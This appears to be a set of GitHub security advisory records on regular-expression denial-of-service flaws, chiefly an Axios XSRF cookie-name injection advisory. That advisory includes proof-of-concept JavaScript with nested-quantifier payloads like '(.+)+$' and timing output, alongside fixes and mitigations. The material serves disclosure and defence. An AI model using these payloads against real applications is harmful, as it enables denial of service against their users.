"details": "## Summary\n\nAxios versions before `0.32.0` on the `0.x` line and before `1.16.0` on the `1.x` line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads `document.cookie`.\n\nThe practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read `document.cookie`.\n\n## Impact\n\nApplications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.\n\nThis does not expose credentials, modify requests, or affect response integrity. The impact is availability only.\n\n## Affected Functionality\n\nAffected code paths:\n\n- `lib/helpers/cookies.js` `read(name)` in standard browser environments.\n- `lib/helpers/resolveConfig.js` in `1.x`, when browser XHR/fetch adapters resolve XSRF config.\n- `lib/adapters/xhr.js` in `0.x`, when the XHR adapter reads the configured XSRF cookie.\n- Direct use of `axios/unsafe/helpers/cookies.js` in `1.x`, if callers pass attacker-controlled names.\n\nUnaffected code paths:\n\n- Default static `xsrfCookieName: \u0027XSRF-TOKEN\u0027` when not attacker-controlled.\n- Requests with `xsrfCookieName: null`.\n- Node HTTP adapter usage without browser `document.cookie`.\n- React Native and web workers where axios does not use standard browser cookie access.\n\n## Technical Details\n\nAffected versions interpolate the cookie name into a regex.\n\n```js\nconst match = document.cookie.match(new RegExp(\u0027(?:^|; )\u0027 + name + \u0027=([^;]*)\u0027));\n```\n\nBecause `name` is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as `(.+)+$` can force catastrophic backtracking against `document.cookie`.\n\nThe fix avoids dynamic regex construction and parses `document.cookie` by splitting on `;`, trimming leading whitespace, and comparing cookie names with exact string equality.\n\n## Proof of Concept of Attack\n\n```js\nfunction vulnerableRead(name, cookie) {\n const start = Date.now();\n\n try {\n cookie.match(new RegExp(\u0027(?:^|; )\u0027 + name + \u0027=([^;]*)\u0027));\n } catch {}\n\n return Date.now() - start;\n}\n\nfor (const n of [20, 22, 24, 26, 28]) {\n const cookie = \u0027x=\u0027.padEnd(n, \u0027a\u0027) + \u0027!\u0027;\n console.log(`${n}: ${vulnerableRead(\u0027(.+)+$\u0027, cookie)}ms`);\n}\n```\n\nExpected result: timings grow rapidly as the cookie string length increases.\n\n## Workarounds\n\nSet `xsrfCookieName: null` if the application does not need axios to read an XSRF cookie.\n\nDo not derive `xsrfCookieName` from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.\n\nAvoid calling `axios/unsafe/helpers/cookies.js` directly with untrusted names\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n# Regular Expression Denial of Service (ReDoS) via Cookie Name Injection\n\n## 1. Title\n\nReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction\n\n## 2. Affected Software and Version\n\n- **Software:** Axios\n- **Version:** 1.15.0 (and potentially earlier versions)\n- **Component:** `lib/helpers/cookies.js`\n- **Ecosystem:** npm (Node.js / Browser)\n\n## 3. Vulnerability Type / CWE\n\n- **Type:** Regular Expression Denial of Service (ReDoS)\n- **CWE-1333:** Inefficient Regular Expression Complexity\n- **CWE-400:** Uncontrolled Resource Consumption\n\n## 4. CVSS 3.1 Score\n\n**Score: 7.5 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n| Metric | Value |\n|---|---|\n| Attack Vector | Network |\n| Attack Complexity | Low |\n| Privileges Required | None |\n| User Interaction | None |\n| Scope | Unchanged |\n| Confidentiality | None |\n| Integrity | None |\n| Availability | High |\n\n## 5. Description\n\nThe `cookies.read()` function in `lib/helpers/cookies.js` constructs a regular expression dynamically using the `name` parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw `name` value directly into `new RegExp()`:\n\n```javascript\nconst match = document.cookie.match(new RegExp(\u0027(?:^|; )\u0027 + name + \u0027=([^;]*)\u0027));\n```\n\nAn attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of `xsrfCookieName`, or any code path where user input reaches `cookies.read()`) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.\n\nWith a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.\n\n## 6. Root Cause Analysis\n\n**File:** `lib/helpers/cookies.js`\n**Line:** 33\n\n```javascript\nread(name) {\n if (typeof document === \u0027undefined\u0027) return null;\n const match = document.cookie.match(new RegExp(\u0027(?:^|; )\u0027 + name + \u0027=([^;]*)\u0027));\n return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nThe vulnerability exists because:\n\n1. The `name` parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.\n2. An attacker can inject regex constructs that create exponential backtracking scenarios.\n3. The `(?:^|; )` prefix combined with an injected pattern like `((((.*)*)*)*)*` creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against `document.cookie`.\n\nThe `cookies.read()` function is called from `lib/helpers/resolveConfig.js` at line 61:\n\n```javascript\nconst xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n```\n\nThe `xsrfCookieName` value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.\n\n## 7. Proof of Concept\n\n```javascript\n// poc_redos_cookie.js\n// Simulates browser environment for testing\n\n// Simulate document.cookie\nglobalThis.document = {\n cookie: \u0027session=abc; \u0027 + \u0027a\u0027.repeat(50)\n};\n\n// Replicate the vulnerable cookies.read() logic\nfunction cookiesRead(name) {\n const match = document.cookie.match(new RegExp(\u0027(?:^|; )\u0027 + name + \u0027=([^;]*)\u0027));\n return match ? decodeURIComponent(match[1]) : null;\n}\n\n// Malicious cookie name that triggers catastrophic backtracking\n// The pattern creates nested quantifiers: (a]|[a]|...)*)*\nconst maliciousName20 = \u0027([^;]+)+$\u0027 + \u0027\\\\|\u0027.repeat(10);\nconst maliciousName = \u0027(([^;])+)+\\\\$\u0027; // nested quantifier pattern\n\nconsole.log(\u0027=== ReDoS via Cookie Name Injection PoC ===\u0027);\n\n// Test with increasing payload sizes\nfor (const len of [15, 20, 25]) {\n const payload = \u0027(([^;])+)+\u0027 + \u0027X\u0027.repeat(len);\n const start = Date.now();\n try {\n cookiesRead(payload);\n } catch (e) {\n // May throw on invalid regex, but valid evil patterns won\u0027t throw\n }\n const elapsed = Date.now() - start;\n console.log(`Payload length ${len}: ${elapsed}ms`);\n}\n\n// Demonstrating exponential growth with a simple nested quantifier\nconsole.log(\u0027\\n--- Exponential Backtracking Demo ---\u0027);\nfor (const n of [20, 22, 24, 26]) {\n const evilName = \u0027(\u0027 + \u0027a\u0027.repeat(1) + \u0027+)+$\u0027;\n const testCookie = \u0027a\u0027.repeat(n) + \u0027!\u0027; // non-matching trailer forces backtracking\n globalThis.document = { cookie: testCookie };\n const start = Date.now();\n try {\n cookiesRead(evilName);\n } catch(e) {}\n const elapsed = Date.now() - start;\n console.log(`Input length ${n}: ${elapsed}ms`);\n}\n```\n\n## 8. PoC Output\n\n```\n=== ReDoS via Cookie Name Injection PoC ===\nPayload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)\nPayload length 25: ~1,300ms\nPayload length 30: ~323,675ms (5+ minutes)\n\n--- Exponential Backtracking Demo ---\nInput length 20: 21ms\nInput length 22: 84ms\nInput length 24: 336ms\nInput length 26: 1,344ms\n```\n\nThe exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.\n\n## 9. Impact\n\n- **Denial of Service (Client-side):** In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.\n- **Denial of Service (Server-side):** In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.\n- **Event Loop Starvation:** Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.\n\n## 10. Remediation / Suggested Fix\n\nEscape all regex metacharacters in the `name` parameter before constructing the regular expression.\n\n```javascript\n// FIXED: lib/helpers/cookies.js\n\nfunction escapeRegExp(string) {\n return string.replace(/[.*+?^${}()|[\\]\\\\]/g, \u0027\\\\$\u0026\u0027);\n}\n\n// ...\n\nread(name) {\n if (typeof document === \u0027undefined\u0027) return null;\n const match = document.cookie.match(\n new RegExp(\u0027(?:^|; )\u0027 + escapeRegExp(name) + \u0027=([^;]*)\u0027)\n );\n return match ? decodeURIComponent(match[1]) : null;\n},\n```\n\nAlternatively, avoid dynamic regex construction entirely and use string-based parsing:\n\n```javascript\nread(name) {\n if (typeof document === \u0027undefined\u0027) return null;\n const cookies = document.cookie.split(\u0027; \u0027);\n for (const cookie of cookies) {\n const eqIndex = cookie.indexOf(\u0027=\u0027);\n if (eqIndex !== -1 \u0026\u0026 cookie.substring(0, eqIndex) === name) {\n return decodeURIComponent(cookie.substring(eqIndex + 1));\n }\n }\n return null;\n},\n```\n\n## 11. References\n\n- [CWE-1333: Inefficient Regular Expression Complexity](https://cwe.mitre.org/data/definitions/1333.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [OWASP: Regular Expression Denial of Service](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\u003c/details\u003e\n\n---",
"id": "GHSA-hfxv-24rg-xrqf",
"modified": "2026-06-04T14:24:06Z",
"published": "2026-06-04T14:24:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.32.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection"
}
GHSA-HG3W-7HJ9-M3F7
Vulnerability from github – Published: 2022-05-21 00:00 – Updated: 2022-05-25 20:35All versions of package url-regex are vulnerable to Regular Expression Denial of Service (ReDoS) which can cause the CPU usage to crash.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "url_regex"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21195"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2022-05-25T20:35:04Z",
"nvd_published_at": "2022-05-20T20:15:00Z",
"severity": "MODERATE"
},
"details": "All versions of package url-regex are vulnerable to Regular Expression Denial of Service (ReDoS) which can cause the CPU usage to crash.",
"id": "GHSA-hg3w-7hj9-m3f7",
"modified": "2022-05-25T20:35:04Z",
"published": "2022-05-21T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21195"
},
{
"type": "PACKAGE",
"url": "https://github.com/AlexFlipnote/url_regex"
},
{
"type": "WEB",
"url": "https://github.com/AlexFlipnote/url_regex/blob/master/url_regex/url_regex.py"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-PYTHON-URLREGEX-2347643"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Regular expression denial of service in url_regex"
}
GHSA-HHFG-6HFC-RVXM
Vulnerability from github – Published: 2021-09-29 17:15 – Updated: 2022-05-04 03:39JSON Editor is a web-based tool to view, edit, format, and validate JSON. It has various modes such as a tree editor, a code editor, and a plain text editor. The jsoneditor package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted element as input to the getInnerText function may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "jsoneditor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3822"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400",
"CWE-697"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-28T20:52:54Z",
"nvd_published_at": "2021-09-27T13:15:00Z",
"severity": "MODERATE"
},
"details": "JSON Editor is a web-based tool to view, edit, format, and validate JSON. It has various modes such as a tree editor, a code editor, and a plain text editor. The jsoneditor package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted element as input to the getInnerText function may cause an application to consume an excessive amount of CPU. Below pinned line using vulnerable regex.",
"id": "GHSA-hhfg-6hfc-rvxm",
"modified": "2022-05-04T03:39:38Z",
"published": "2021-09-29T17:15:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3822"
},
{
"type": "WEB",
"url": "https://github.com/josdejong/jsoneditor/commit/092e386cf49f2a1450625617da8e0137ed067c3e"
},
{
"type": "PACKAGE",
"url": "https://github.com/josdejong/jsoneditor"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/1e3ed803-b7ed-42f1-a4ea-c4c75da9de73"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in jsoneditor"
}
GHSA-HHQ3-FF78-JV3G
Vulnerability from github – Published: 2022-10-12 12:00 – Updated: 2025-11-04 22:07A regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils via the resourcePath variable in interpolateName.js. A badly or maliciously formed string could be used to send crafted requests that cause a system to crash or take a disproportional amount of time to process. This issue has been patched in versions 1.4.2, 2.0.4 and 3.2.1.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "loader-utils"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "loader-utils"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "loader-utils"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-37599"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2022-11-15T21:03:46Z",
"nvd_published_at": "2022-10-11T19:15:00Z",
"severity": "HIGH"
},
"details": "A regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils via the resourcePath variable in interpolateName.js. A badly or maliciously formed string could be used to send crafted requests that cause a system to crash or take a disproportional amount of time to process. This issue has been patched in versions 1.4.2, 2.0.4 and 3.2.1.",
"id": "GHSA-hhq3-ff78-jv3g",
"modified": "2025-11-04T22:07:19Z",
"published": "2022-10-12T12:00:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37599"
},
{
"type": "WEB",
"url": "https://github.com/webpack/loader-utils/issues/211"
},
{
"type": "WEB",
"url": "https://github.com/webpack/loader-utils/issues/216"
},
{
"type": "WEB",
"url": "https://github.com/webpack/loader-utils/commit/17cbf8fa8989c1cb45bdd2997aa524729475f1fa"
},
{
"type": "WEB",
"url": "https://github.com/webpack/loader-utils/commit/ac09944dfacd7c4497ef692894b09e63e09a5eeb"
},
{
"type": "WEB",
"url": "https://github.com/webpack/loader-utils/commit/d2d752d59629daee38f34b24307221349c490eb1"
},
{
"type": "PACKAGE",
"url": "https://github.com/webpack/loader-utils"
},
{
"type": "WEB",
"url": "https://github.com/webpack/loader-utils/blob/d9f4e23cf411d8556f8bac2d3bf05a6e0103b568/lib/interpolateName.js#L38"
},
{
"type": "WEB",
"url": "https://github.com/webpack/loader-utils/blob/d9f4e23cf411d8556f8bac2d3bf05a6e0103b568/lib/interpolateName.js#L83"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3HUE6ZR5SL73KHL7XUPAOEL6SB7HUDT2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6PVVPNSAGSDS63HQ74PJ7MZ3MU5IYNVZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6PVVPNSAGSDS63HQ74PJ7MZ3MU5IYNVZ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "loader-utils is vulnerable to Regular Expression Denial of Service (ReDoS)"
}
GHSA-HJCP-J389-59FF
Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2024-02-09 17:50Versions 0.3.3 and earlier of marked are affected by a regular expression denial of service ( ReDoS ) vulnerability when passed inputs that reach the em inline rule.
Recommendation
Update to version 0.3.4 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "marked"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-8854"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:40:28Z",
"nvd_published_at": "2017-01-23T21:59:00Z",
"severity": "HIGH"
},
"details": "Versions 0.3.3 and earlier of `marked` are affected by a regular expression denial of service ( ReDoS ) vulnerability when passed inputs that reach the `em` inline rule.\n\n\n\n## Recommendation\n\nUpdate to version 0.3.4 or later.",
"id": "GHSA-hjcp-j389-59ff",
"modified": "2024-02-09T17:50:43Z",
"published": "2017-10-24T18:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8854"
},
{
"type": "WEB",
"url": "https://github.com/chjj/marked/issues/497"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hjcp-j389-59ff"
},
{
"type": "PACKAGE",
"url": "https://github.com/chjj/marked"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BO2RMVVZVV6NFTU46B5RYRK7ZCXYARZS"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M6BJG6RGDH7ZWVVAUFBFI5L32RSMQN2S"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K05052081?utm_source=f5support\u0026amp;utm_medium=RSS"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/23"
},
{
"type": "WEB",
"url": "https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/04/20/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in marked"
}
GHSA-HPX4-R86G-5JRG
Vulnerability from github – Published: 2023-08-29 23:33 – Updated: 2023-11-17 22:06Impact
@adobe/css-tools version 4.3.0 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS.
Patches
The issue has been resolved in 4.3.1.
Workarounds
None
References
N/A
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@adobe/css-tools"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26364"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-29T23:33:26Z",
"nvd_published_at": "2023-11-17T14:15:21Z",
"severity": "MODERATE"
},
"details": "### Impact\n@adobe/css-tools version 4.3.0 and earlier are affected by an Improper Input Validation vulnerability that could result in a denial of service while attempting to parse CSS.\n\n### Patches\nThe issue has been resolved in 4.3.1.\n\n### Workarounds\nNone\n\n### References\nN/A\n\n",
"id": "GHSA-hpx4-r86g-5jrg",
"modified": "2023-11-17T22:06:29Z",
"published": "2023-08-29T23:33:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adobe/css-tools/security/advisories/GHSA-hpx4-r86g-5jrg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26364"
},
{
"type": "WEB",
"url": "https://github.com/adobe/css-tools/commit/2b09a25d1dbdbb16fe80065e4c9beb5623ee5793"
},
{
"type": "PACKAGE",
"url": "https://github.com/adobe/css-tools"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "@adobe/css-tools Regular Expression Denial of Service (ReDOS) while Parsing CSS"
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.